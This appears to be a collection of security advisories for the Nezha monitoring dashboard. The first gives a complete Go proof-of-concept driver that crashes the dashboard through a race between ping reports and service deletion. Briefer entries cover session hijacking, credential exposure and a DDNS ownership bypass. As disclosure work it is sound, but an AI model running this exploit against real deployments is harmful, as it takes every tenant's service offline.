Summary

A single low-privilege RoleMember can take the entire Nezha dashboard offline, and with it every tenant's web UI, REST API, and agent connections, by racing two ordinary operations on their own service. The crash is a nil pointer dereference in the service-monitor worker at service/singleton/servicesentinel.go:601. The worker checks a service exists under one lock and later writes to two pointer-valued status maps under a different lock; a concurrent delete removes the entries in the gap. Because the gRPC server has no recovery interceptor, the worker-goroutine panic kills the whole process. Availability only: nothing is read or modified.

Affected versions

Confirmed in v2.2.7 through v2.2.10. service/singleton/servicesentinel.go has the same vulnerable implementation in all four releases. The issue is fixed in v2.2.11 and later; users should upgrade to the latest release, v2.3.0.

The bug

The worker validates an incoming report and later writes it to two status maps, but the check and the write are guarded by two different locks taken at two different times. Between them, the same member can delete the service and pull the map entries out from under the worker.

The maps hold pointers, so a missing key returns nil and the first field write through it panics:

73: serviceStatusToday map[uint64]TodayStatsOfService 74: serviceCurrentStatusData map[uint64]serviceTaskStatus

The worker checks presence via Get, which takes servicesLock and releases it. canReportServiceResult rejects a nil service here, so at this point the service is known to exist:

532: cs, := ss.Get(r.Data.GetId()) // servicesLock.RLock / RUnlock 535: if !canReportServiceResult(cs, reporter, r.Data.GetType()) { continue }

For TCP/ICMP ping results, every AvgPingCount (default 2, TSDB off) the worker does a synchronous DB.Create at :569 holding neither status-map lock, which stretches the gap into an easily raceable window. It then takes a different lock and dereferences the maps with no recheck and no lazy create:

597: ss.serviceResponseDataStoreLock.Lock() 600: ss.serviceStatusToday[mh.GetId()].Delay = ... // nil deref if deleted meanwhile 609: ss.serviceCurrentStatusData[mh.GetId()].t ... // same hazard

Meanwhile Delete removes both entries under serviceResponseDataStoreLock, running on the HTTP-handler goroutine, a different goroutine from the single worker:

378: func (ss ServiceSentinel) Delete(ids []uint64) { 387: delete(ss.serviceCurrentStatusData, id) 390: delete(ss.serviceStatusToday, id)

The precise point: the check reads the services map under servicesLock; the write touches serviceStatusToday under serviceResponseDataStoreLock. Holding the second lock at :600 proves nothing about whether the entry survived, because the delete ran under that same lock while the worker was still busy between the two operations. This is a cross-lock TOCTOU, not a data race. Every access to the two maps is correctly synchronized under one lock, so -race reports nothing; the staleness lives across the two locks, not inside one memory location.

Two supporting facts. The ping map a few lines up self-heals on a miss (:543), so it never faces this; the two status maps never do. And the gRPC server is built with only real-IP and WAF interceptors (cmd/dashboard/rpc/rpc.go:37), no recovery, so the worker panic is fatal to the whole process rather than a dropped request.

Reachability

Both legs are things a member is meant to do with their own resources: report ping results over gRPC with their own agent secret, and create/delete their own service over POST /api/v1/service and POST /api/v1/batch-delete/service, which pass CheckPermission for an owned service. No admin rights, no other tenant involved. batchDeleteService reaches ServiceSentinel.Delete synchronously on a separate goroutine from the worker, so the two interleave freely.

Code flow

member agent -> gRPC RequestTask stream -> TaskResult{Id: ownedSvc, Type: TCPPing} -> service/rpc/nezha.go: IsServiceSentinelNeeded(TCPPing) -> Dispatch(ReportData{...}) -> serviceReportChannel -> single worker goroutine: Get(id) [servicesLock] present ......+ <- TOCTOU check (:532/:535) DB.Create(ServiceHistory) (gap) | | member HTTP: POST /api/v1/batch-delete/service | -> batchDeleteService (CheckPermission: own OK) | -> ServiceSentinel.Delete([id]) (synchronous) | [serviceResponseDataStoreLock] delete(serviceStatusToday,id) serviceResponseDataStoreLock.Lock() <-+ serviceStatusToday[id].Delay = ... <- id now absent -> nil deref -> SIGSEGV (:600)

Proof of concept

Environment: dashboard built from fd31e5f1 on go1.26.4, SQLite, bound to 127.0.0.1:8008, with avgpingcount: 2 and TSDB disabled (both defaults). Everything runs against the real running binary using the project's own generated proto client and a plain HTTP client. No mocks, no in-process calls. The driver uses only the member's own credentials, targets only the member's own service, and is strictly for local authorized testing.

The driver

Placed at cmd/pocdos/main.go inside a checkout of the target repo (so the github.com/nezhahq/nezha/proto import resolves), built with go build ./cmd/pocdos.

go import ( "bytes" "context" "crypto/tls" "flag" "fmt" "io" "log" "math/rand" "net/http" "os" "sync" "sync/atomic" "time"

"google.golang.org/grpc" "google.golang.org/grpc/credentials/insecure" "google.golang.org/grpc/metadata"

pb "github.com/nezhahq/nezha/proto" )

var ( grpcAddr = flag.String("grpc", "127.0.0.1:8008", "") baseURL = flag.String("url", "http://127.0.0.1:8008", "") secret = flag.String("secret", "", "m1 agent secret") uuid = flag.String("uuid", "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa", "") token = flag.String("token", "", "m1 jwt") csrf = flag.String("csrf", "", "m1 csrf") dur = flag.Duration("dur", 90time.Second, "") churn = flag.Int("churn", 16, "concurrent create/delete workers") )

var httpc = &http.Client{Timeout: 5 time.Second, Transport: &http.Transport{TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, MaxIdleConnsPerHost: 256}}

func req(method, path string, body []byte) ([]byte, int) { r, := http.NewRequest(method, baseURL+path, bytes.NewReader(body)) r.Header.Set("Content-Type", "application/json") r.Header.Set("Authorization", "Bearer "+token) r.Header.Set("X-CSRF-Token", csrf) r.AddCookie(&http.Cookie{Name: "nz-csrf", Value: csrf}) r.AddCookie(&http.Cookie{Name: "nz-jwt", Value: token}) resp, err := httpc.Do(r) if err != nil { return []byte(err.Error()), 0 } defer resp.Body.Close() b, := io.ReadAll(resp.Body) return b, resp.StatusCode }

func createSvc() (uint64, bool) { b, := req("POST", "/api/v1/service", []byte({"name":"p","target":"127.0.0.1:8008","type":3,"cover":0,"duration":30})) var id uint64 if n, := fmt.Sscanf(string(b), {"success":true,"data":%d}, &id); n == 1 { return id, true } return 0, false }

func deleteSvc(id uint64) { req("POST", "/api/v1/batch-delete/service", []byte(fmt.Sprintf("[%d]", id))) }

func main() { flag.Parse() rand.Seed(time.Now().UnixNano())

conn, err := grpc.NewClient(grpcAddr, grpc.WithTransportCredentials(insecure.NewCredentials())) if err != nil { log.Fatal(err) } cli := pb.NewNezhaServiceClient(conn) authCtx := func(ctx context.Context) context.Context { return metadata.AppendToOutgoingContext(ctx, "clientuuid", uuid, "clientsecret", secret) }

// 1) register a server owned by m1 if , err := cli.ReportSystemInfo2(authCtx(context.Background()), &pb.Host{Platform: "poc", Arch: "poc"}); err != nil { log.Fatalf("register(ReportSystemInfo2) rejected: %v", err) } log.Println("server registered as m1 agent")

// 2) open the RequestTask bidi stream (this agent now holds the task stream) stream, err := cli.RequestTask(authCtx(context.Background())) if err != nil { log.Fatalf("RequestTask open: %v", err) } go func() { // drain server->agent Task frames for { if , err := stream.Recv(); err != nil { return } } }()

// shared set of currently-alive service ids var mu sync.Mutex active := map[uint64]struct{}{} addID := func(id uint64) { mu.Lock(); active[id] = struct{}{}; mu.Unlock() } delID := func(id uint64) { mu.Lock(); delete(active, id); mu.Unlock() } snapshot := func() []uint64 { mu.Lock() defer mu.Unlock() out := make([]uint64, 0, len(active)) for id := range active { out = append(out, id) } return out }

var sent, dels int64 stop := time.After(dur) var wg sync.WaitGroup

// churn workers: create -> arm -> delete for i := 0; i < churn; i++ { wg.Add(1) go func() { defer wg.Done() for { select { case <-stop: return default: } id, ok := createSvc() if !ok { time.Sleep(time.Millisecond) continue } addID(id) // let the flood push a few reports for this id into the worker's gap time.Sleep(time.Duration(1+rand.Intn(3)) time.Millisecond) deleteSvc(id) delID(id) atomic.AddInt64(&dels, 1) } }() }

// single flood goroutine (grpc stream Send is not concurrency-safe) wg.Add(1) go func() { defer wg.Done() for { select { case <-stop: return default: } ids := snapshot() for , id := range ids { if err := stream.Send(&pb.TaskResult{ Id: id, Type: 3, // TCPPing Delay: float32(1 + rand.Intn(50)), Successful: true, }); err != nil { fmt.Printf("STREAMSENDERR=%v (dashboard likely crashed)\n", err) return } atomic.AddInt64(&sent, 1) } } }()

// liveness probe: if the dashboard process dies, the API stops answering go func() { for { select { case <-stop: return case <-time.After(500 time.Millisecond): , code := req("GET", "/api/v1/user", nil) if code == 0 { fmt.Printf("LIVENESSFAIL at sent=%d dels=%d, dashboard not answering\n", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels)) os.Exit(7) } } } }()

wg.Wait() fmt.Printf("DONE without crash: sent=%d deletes=%d\n", atomic.LoadInt64(&sent), atomic.LoadInt64(&dels)) }

The gRPC leg registers a server under the member's own agent secret via ReportSystemInfo2, opens RequestTask, then floods TaskResult{Type: 3 (TCPPing)} for every alive service id from a single goroutine (stream.Send is not concurrency-safe). The REST leg's churn workers loop createSvc → sleep 1–3 ms to let the flood push repeated reports into the worker's gap → deleteSvc, which fires ServiceSentinel.Delete and removes the map entry the worker is about to dereference. The liveness probe hits GET /api/v1/user every 500 ms and exits 7 on connection refused, which is the crash signal.

Steps to reproduce

1. In a checkout of nezha at fd31e5f1, drop the file at cmd/pocdos/main.go and build: go build -o pocdos ./cmd/pocdos. 2. Start the dashboard (SQLite, avgpingcount: 2, TSDB off) and complete first-run. Create a RoleMember, register a server under its agent secret, and log the member in to obtain its JWT and CSRF. 3. Run with the member's own credentials: ./pocdos -secret "$M1AGENTSECRET" -token "$M1JWT" -csrf "$M1CSRF" -dur 30s -churn 4.

Results

On an unpatched build the driver prints STREAMSENDERR=EOF + LIVENESSFAIL + exit 7 within about half a second, and the dashboard's stderr shows the panic:

panic: runtime error: invalid memory address or nil pointer dereference [signal SIGSEGV: segmentation violation code=0x1 addr=0x10 pc=0x12966c8] github.com/nezhahq/nezha/service/singleton.(ServiceSentinel).worker(...) .../service/singleton/servicesentinel.go:601 created by ...NewServiceSentinel in goroutine 1 .../service/singleton/servicesentinel.go:127

Process death confirmed right after: ps -p <pid> shows the pid gone, curl http://127.0.0.1:8008/api/v1/ returns httpcode=000, ss -ltn | grep 8008 shows no listener.

Under go build -race the same run reports zero WARNING: DATA RACE and still crashes with the identical nil-deref, which confirms this is a logical cross-lock TOCTOU rather than a memory race. Under a normal build, reproducibility with a fresh database per trial, a 30-second cap, and four churn workers was 5 of 5, mean time-to-crash 0.5s. Each individual window is small, but the driver retries it tens of thousands of times a second and wins by volume, so it is fast and reliable, not a lucky single shot. -churn 4 was already 5/5; the 16 default is heavier than needed.

Fix

Fixed in commit c893aa57867d8a3d608e2f2f16d1594c9766cdf3, released as v2.2.11 and v2.3.0. The worker now acquires serviceResponseDataStoreLock before any report side effect, re-reads the current service and status entries, and re-runs canReportServiceResult while the lifecycle lock is held. Delete and Update therefore serialize with report processing, so reports for deleted services or reports invalidated by an update are discarded before history, status, notification, or TLS side effects.

The fix also clears ping and TLS caches during deletion and makes LoadStats follow the lifecycle lock order, preventing stale cache state and an ABBA deadlock window. Deterministic lifecycle tests cover deletion, update revalidation, lock order, and TLS side effects. The full unit suite, race-and-shuffle suite, go vet, CodeQL, and release builds passed before publication.

Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. Nezha versions 1.14.13 through 1.14.14 and 2.0.0 through 2.0.9 do not bind stream identifiers created by CreateStream in service/rpc/iostream.go to their creating user, and GET /ws/terminal/:id and GET /ws/file/:id only check whether the supplied UUID exists. An authenticated RoleMember who obtains a live stream UUID from logs, browser history, referer data, or telemetry can attach to another user's terminal or file-manager session, read and write target-server files, and execute shell commands. This issue is fixed in version 2.0.10.

Nezha Monitoring is a self-hostable, lightweight, servers and websites monitoring and O&M tool. Prior to 2.2.5, the GET /api/v1/ddns and GET /api/v1/notification endpoints return full resource objects including plaintext third-party API credentials, including Cloudflare API tokens, TencentCloud SecretKeys, Slack, Discord, and Telegram webhook URLs with embedded bot tokens, and Authorization header values, without any field-level redaction. Any authenticated admin or PAT with nezha:ddns:read or nezha:notification:read scope can receive stored credentials through the listDDNS and listNotification handlers in a single API response. This issue is fixed in version 2.2.5.

Summary

PATCH /server/{id} accepts and persists nonexistent ddnsprofiles IDs for a member-owned server. If another user later creates a DDNS profile with one of those IDs, the DDNS worker resolves the stored ID and dispatches an update using the other user's DDNS profile configuration in the context of the attacker's server.

This is a second-order authorization bypass: direct binding to an existing foreign DDNS profile is correctly denied, but an unresolved future ID can be stored first and later becomes a live cross-user reference.

Affected versions

Confirmed on:

- Nezha v2.0.14 - Commit: 8b5e382fe217107c7b777ea9c6b4bc3d2e156202

The exact affected version range was not determined.

Impact

A normal member who owns a server can prebind one or more future DDNS profile IDs to that server. If another user later creates a DDNS profile with a matching ID, the dashboard DDNS worker can use the victim's DDNS profile/provider configuration for the attacker's server.

In the validated worker path, the dispatched DDNS update combines:

- the victim DDNS profile ID and owner - the victim profile's provider type - victim profile fields such as domains, access ID, access secret, and retry policy - attacker server context, including the attacker's server ID, owner, IPv4 address, and override DDNS domains

This can result in unauthorized DDNS update attempts using another user's DDNS profile context. The attacker does not need permission to bind the victim profile after it exists.

The following were not validated: credential disclosure, account takeover, or guaranteed external DNS modification across all providers. The credentials remain server-side in the worker path. The downstream DNS impact depends on the victim profile's provider configuration and what that provider account is authorized to update.

Affected components

- PATCH /server/{id} - cmd/dashboard/controller/server.go - service/singleton/singleton.go - service/singleton/ddns.go - service/singleton/server.go - pkg/ddns/ddns.go

Root cause

The server update path validates submitted DDNS profile IDs through CheckPermission, but that check only rejects existing objects owned by another user. Nonexistent IDs are skipped.

The updateServer path then persists the submitted raw IDs into DDNSProfilesRaw, along with override domain data. Later, the DDNS worker resolves the stored profile IDs by ID and dispatches provider updates without revalidating that the resolved profiles belong to the server owner.

As a result, an invalid unresolved reference can become a valid cross-user reference after another user creates a DDNS profile with the same global auto-increment ID.

Reproduction summary

The behavior was validated locally with focused regression tests.

Controller chain proof

Test file:

cmd/dashboard/controller/ddnssecondordertest.go

Test name:

TestUpdateServerAllowsFutureDDNSProfileBindingThenResolvesVictimProfile

Command:

bash go test ./cmd/dashboard/controller -run TestUpdateServerAllowsFutureDDNSProfileBindingThenResolvesVictimProfile -count=1

Result:

pass

The test demonstrates:

1. A normal member owns server 1. 2. DDNS profile ID 1 does not exist. 3. The member updates their server with enableddns=true and ddnsprofiles=[1]. 4. The request succeeds. 5. The server persists DDNSProfiles=[1]. 6. Another user later creates a DDNS profile and receives ID 1. 7. A fresh attempt by the attacker to bind profile 1 is correctly denied. 8. The previously stored reference remains active and resolves in the DDNS worker path.

Provider-level worker proof

Test file:

service/singleton/ddnsworkerauthztest.go

Test name:

TestUpdateDDNSDispatchesVictimProfileForAttackerServer

Command:

bash go test ./service/singleton -run TestUpdateDDNSDispatchesVictimProfileForAttackerServer -count=1

Result:

pass

The test proves that the DDNS worker does not merely resolve the victim profile. It dispatches a DDNS update using the victim profile configuration and attacker server context.

Validated assertions include:

- resolved profile ID is 1 - resolved profile owner is victim user 200 - processed server is attacker server 1 owned by user 100 - provider type is the victim profile's provider - victim profile fields are present in worker dispatch: - domains - access ID - access secret - max retries - attacker server context is present in the same dispatch: - IPv4 198.51.100.44 - attacker-controlled override domains are passed to the worker: - attacker-controlled.example

Practicality

The attack requires predicting or prebinding future DDNS profile IDs. This limits severity, but does not remove the authorization issue.

Evidence supporting practicality:

- DDNS profile IDs are uint64 GORM primary keys from model/common.go. - createDDNS uses a normal DB.Create(&p) flow and returns p.ID. - DDNSProfiles is an unbounded []uint64 in model/serverapi.go. - No length or existence validation is applied in updateServer. - Invalid/future IDs are preserved in the server record. - Stored unresolved IDs survive reload. - Range prebinding was validated with [1,2,3,4]. - The DDNS worker consumes stored IDs on future DDNS update events. - Worker dispatch can occur after server edit and agent IP-change events. - Each DDNS update can retry according to the victim profile's MaxRetries.

This makes the issue semi-practical: exploitation depends on future ID prediction or range prebinding, but the unresolved IDs persist and can become active later.

Expected behavior

PATCH /server/{id} should reject any submitted DDNS profile ID that does not both:

1. exist, and 2. belong to the caller or the owner of the server being updated.

The DDNS worker should also avoid trusting stored profile IDs without revalidating ownership before provider resolution or dispatch.

Actual behavior

PATCH /server/{id} accepts nonexistent DDNS profile IDs and persists them. If another user later creates a DDNS profile with a matching ID, the stored reference resolves to that user's profile and is consumed by the DDNS worker for the attacker's server.

Suggested remediation

Apply both bind-time and worker-time validation.

At bind time:

- Reject nonexistent DDNS profile IDs. - Reject DDNS profile IDs that do not belong to the caller/server owner. - Reject or limit excessive DDNS profile ID lists if range prebinding is not intended.

At worker time:

- Revalidate that every resolved DDNS profile still belongs to the owner of the server being processed. - Skip or remove stale, nonexistent, or foreign DDNS profile references before provider dispatch.

Suggested regression tests:

- TestUpdateServerRejectsNonexistentDDNSProfileIDs - TestUpdateServerRejectsForeignDDNSProfileIDs - TestUpdateServerAcceptsOwnedDDNSProfileIDs - TestUpdateDDNSSkipsStaleOrForeignStoredDDNSProfiles

Security relevance

A direct bind to an existing foreign DDNS profile is already denied, which shows the intended ownership boundary. The issue is that the same boundary can be bypassed by storing a future unresolved ID before the victim profile exists.

The worker later treats the stored ID as trusted and dispatches a DDNS update using the victim profile's provider configuration with attacker server context. This is an authorization issue in a deferred worker path, not merely malformed input.

Limitations

- The attacker does not read victim DDNS credentials through the validated path. - Exploitation may require predicting or prebinding future global auto-increment DDNS profile IDs. - The downstream DNS impact depends on the victim profile's provider configuration. - External DNS modification was not claimed as guaranteed across all providers.